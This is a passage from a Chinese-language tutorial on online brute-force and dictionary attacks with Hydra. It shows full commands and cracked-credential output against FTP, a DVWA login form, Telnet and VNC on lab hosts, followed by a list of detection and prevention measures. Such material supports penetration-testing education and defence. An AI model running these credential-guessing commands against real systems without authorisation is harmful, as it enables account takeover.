使用上述字典(list_user和list_password)。Metasploitable FTP服務(wù)器的IP地址為192.168.56.101。這就是為什么在命令中使用ftp模塊。應(yīng)該使用-V來查看每次嘗試的用戶名和密碼。
如下所示,Hydra已經(jīng)找到一對(duì)有效的用戶名和密碼(用戶名:msfadmin,password:msfadmin)。
6.DVWA詞典攻擊Web登錄表單
使用以下命令啟動(dòng)攻擊:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
上述字典(list_user和list_password)再次被使用。DVWA的IP地址為192.168.56.101。DVWA的登錄表單可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。當(dāng)用戶登錄時(shí),生成以下請(qǐng)求(由Burp Suite 攔截):
關(guān)鍵部分標(biāo)記在屏幕截圖上。它們是http-post-form模塊參數(shù)的值:
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
^ USER ^和^ PASS ^分別替換為用戶名(來自list_user)和密碼(list_password)。當(dāng)?shù)卿泧L試失敗時(shí),服務(wù)器將以“登錄失敗”消息進(jìn)行響應(yīng),該消息是最后一個(gè)參數(shù)的值。
最后,應(yīng)該使用-V來查看每次嘗試的用戶名和密碼。
如下所示,Hydra已經(jīng)找到一對(duì)有效的用戶名和密碼(用戶名:admin,password:password)。
7.總結(jié)
本文介紹了兩種類型的在線密碼攻擊(爆破,字典),并介紹了如何使用Hydra對(duì)FTP和Web表單啟動(dòng)在線字典攻擊。Hydra是一個(gè)支持許多服務(wù)的網(wǎng)絡(luò)登錄破解者
[1]。Metasploitable可用于實(shí)踐滲透測(cè)試技能
[2]。DVWA(Damn Wulnerable Web Application)對(duì)于那些想要使用Web應(yīng)用程序安全性的人來說是有幫助的。
參考文獻(xiàn):
Hydra
[2] Metasploitable
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
[3] DVWA(Damn Wulnerable Web Application)
[4] Burp suite
實(shí)例5.爆破Telnet
爆破是一個(gè)相當(dāng)簡(jiǎn)單的思維,也是一個(gè)非常強(qiáng)大的想法。簡(jiǎn)單地說這是什么意思 攻擊者將嘗試每個(gè)可能的字符組合,以嘗試猜測(cè)你的密碼/密鑰等。這是為什么密碼很重要的原因之一,因?yàn)楸乒魰?huì)找到你的密碼,你需要確保密碼爆破在所需時(shí)間使其在技術(shù)上不可行。我們也簡(jiǎn)要地看了一下使用爆破來破解你所擁有的密碼文件,但是這次我爆破一些登錄服務(wù)。
憂慮
這兩個(gè)主要原因是:
許多公司通過其防火墻允許一些服務(wù),無論是ftp,pop3,ssh甚至網(wǎng)頁登錄到某個(gè)地方。所有這些都可以是爆破的。此外,這樣做的工具易于使用和獲取。
爆破的基本概念有所改變。許多爆破工具允許你指定密碼或用戶名列表。這是因?yàn)槭褂眠@些比傳統(tǒng)的爆破更快。但是使用現(xiàn)代的硬盤驅(qū)動(dòng)器大小和方法(彩虹表,組合攻擊等),使用所有可能的字符組合創(chuàng)建一個(gè)文件是非常可行的,使用這樣一個(gè)文件會(huì)減少運(yùn)行這種攻擊所需的時(shí)間。
使用linux系統(tǒng)進(jìn)行爆破
讓我展現(xiàn)出一個(gè)可以在linux和相關(guān)系統(tǒng)上使用的實(shí)用程序 - Hydra。
該軟件來自THC,它是一個(gè)非常有用的基于命令行的程序,可以處理許多不同的協(xié)議。這是從4.6版本我正在使用的列表
支持的協(xié)議:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]
讓我們從一個(gè)簡(jiǎn)單的服務(wù)開始 - telnet ..
# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08
[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 10.0.0.50 login: easy password: 12345
[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h
[23][telnet] host: 10.0.0.50 login: public password: joe
[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h
[23][telnet] host: 10.0.0.50 login: sue password: joe
[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08
現(xiàn)在首先,這個(gè)服務(wù)器有一些很簡(jiǎn)單的密碼和用戶名設(shè)置(你可以看到),現(xiàn)在看看我使用的交換機(jī)..
-L,指定用戶名列表,注意大小寫不同
-P,指定密碼列表
-e,嘗試null和相同(與用戶名相同)密碼
-t,以指定要運(yùn)行的parralel進(jìn)程的數(shù)量
那么目標(biāo)IP和服務(wù)
-v,用于詳細(xì)
讓我們嘗試運(yùn)行它與常用的東西..
# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28
[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task
[DATA] attacking service vnc on port 5900
[5900][vnc] host: 10.0.0.100 login: password: 123456
[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30
正如你所看到的那樣,VNC也是如此,所有我改變的是...
將用戶名指定為null,-l“”
停止檢查相同的密碼,-en
簡(jiǎn)單,強(qiáng)大,實(shí)用
0x06免責(zé)說明
1.請(qǐng)勿在軍事或秘密服務(wù)機(jī)構(gòu)或非法目的使用。
2.Affero通用公共許可證版本3(AGPLv3)適用于此代碼。
3.包含了OpenSSL的特殊許可擴(kuò)展,這是Debian家族所需要的
0x07聯(lián)系我們
誠(chéng)心需要大家的幫助!
如果您發(fā)現(xiàn)錯(cuò)誤,編碼增強(qiáng)功能或?yàn)榉?wù)寫入新的攻擊模塊,請(qǐng)將它們發(fā)送到vh@thc.org
有趣的攻擊模塊將是:OSPF,BGP,PIM,PPTP,...(或任何你可能做的事情(而且還沒有)
請(qǐng)注意,您也可以通過github下載并提交:https://github.com/vanhauser-thc/thc-hydra
非常感謝大家的建議!
Yourssincerly,
vanHauser
TheHackersChoice
0x08防范措施
由于在攻擊期間導(dǎo)致的失敗的登錄嘗試次數(shù)很多,所以爆破是非常容易發(fā)現(xiàn)的。有幾種有效的策略來檢測(cè)和預(yù)防這種攻擊。
1.最有效的策略之一是限制失敗的登錄嘗試次數(shù)。使用此策略可以在一定數(shù)量的故障之后阻止主機(jī)或鎖定帳戶。在實(shí)施這種方法時(shí)應(yīng)該小心,因?yàn)楣粽呖赡軙?huì)故意導(dǎo)致帳戶被鎖定而導(dǎo)致拒絕服務(wù)條件。由于響應(yīng)有效的用戶引起認(rèn)證失敗,使用此策略也會(huì)提高服務(wù)的支持成本。
2.另一個(gè)策略是限制連接嘗試。許多服務(wù)允許配置此值。通過限制連接嘗試次數(shù),可能必須重新啟動(dòng)攻擊工具才能完成攻擊。這種類型的配置可能會(huì)使攻擊者充分混淆,從而使他們遠(yuǎn)離。至少它會(huì)防止自動(dòng)攻擊。
3.每次失敗的嘗試增加服務(wù)響應(yīng)時(shí)間是另一個(gè)可以在許多情況下運(yùn)行的策略。該策略涉及連續(xù)增加每次失敗的認(rèn)證嘗試的響應(yīng)時(shí)間。這意味著首先發(fā)生小的延遲,但隨著攻擊的進(jìn)行,延遲更長(zhǎng)和更長(zhǎng)。這是一種非常有效和不引人注意的挫敗暴力攻擊的方法。
4.只要服務(wù)創(chuàng)建某種失敗的日志,檢測(cè)爆破就很容易。最常見的入侵檢測(cè)系統(tǒng)(IDS)應(yīng)該能夠在短時(shí)間內(nèi)檢測(cè)大量失敗的登錄嘗試。這種方法的缺點(diǎn)是攻擊者可能會(huì)洪泛一個(gè)系統(tǒng)來產(chǎn)生大量的IDS事件通知,這些通知可以用于分析人員引發(fā)信息超載。充斥警報(bào)的分析人員將難以通過所有通知來識(shí)別實(shí)際的攻擊,因此攻擊者可能能夠隱藏大量攻擊的攻擊垃圾。
5.審計(jì)系統(tǒng)密碼也是一個(gè)有效的防范。通過檢查你自己的系統(tǒng)以確保常用的用戶名和密碼不允許訪問,你可以確保使用Hydra和普通用戶和密碼列表的攻擊者無法訪問。這種類型的滲透測(cè)試可能是耗時(shí)的,但是可能會(huì)在暴力攻擊開始或成功之前提醒運(yùn)營(yíng)商潛在的漏洞。
6.檢查你的日志。確保你檢查任何系統(tǒng)日志可疑活動(dòng)。當(dāng)我運(yùn)行這些測(cè)試時(shí),目標(biāo)服務(wù)器的日志顯示了很多失敗的登錄,始終是發(fā)生事件的一個(gè)明確的跡象
7.正確設(shè)置你的服務(wù) 在關(guān)閉會(huì)話之前只允許一定數(shù)量的登錄,如果可能的話,可以鎖定誰可以從哪里登錄
8.使用好的密碼
最后一件事,在某種惡意的事情之前檢測(cè)到這種類型的事情。
字典更新:鏈接:http://pan.baidu.com/s/1pLMFjsR 密碼:p84w
失效及時(shí)私信我
更新時(shí)間:2017年10月31日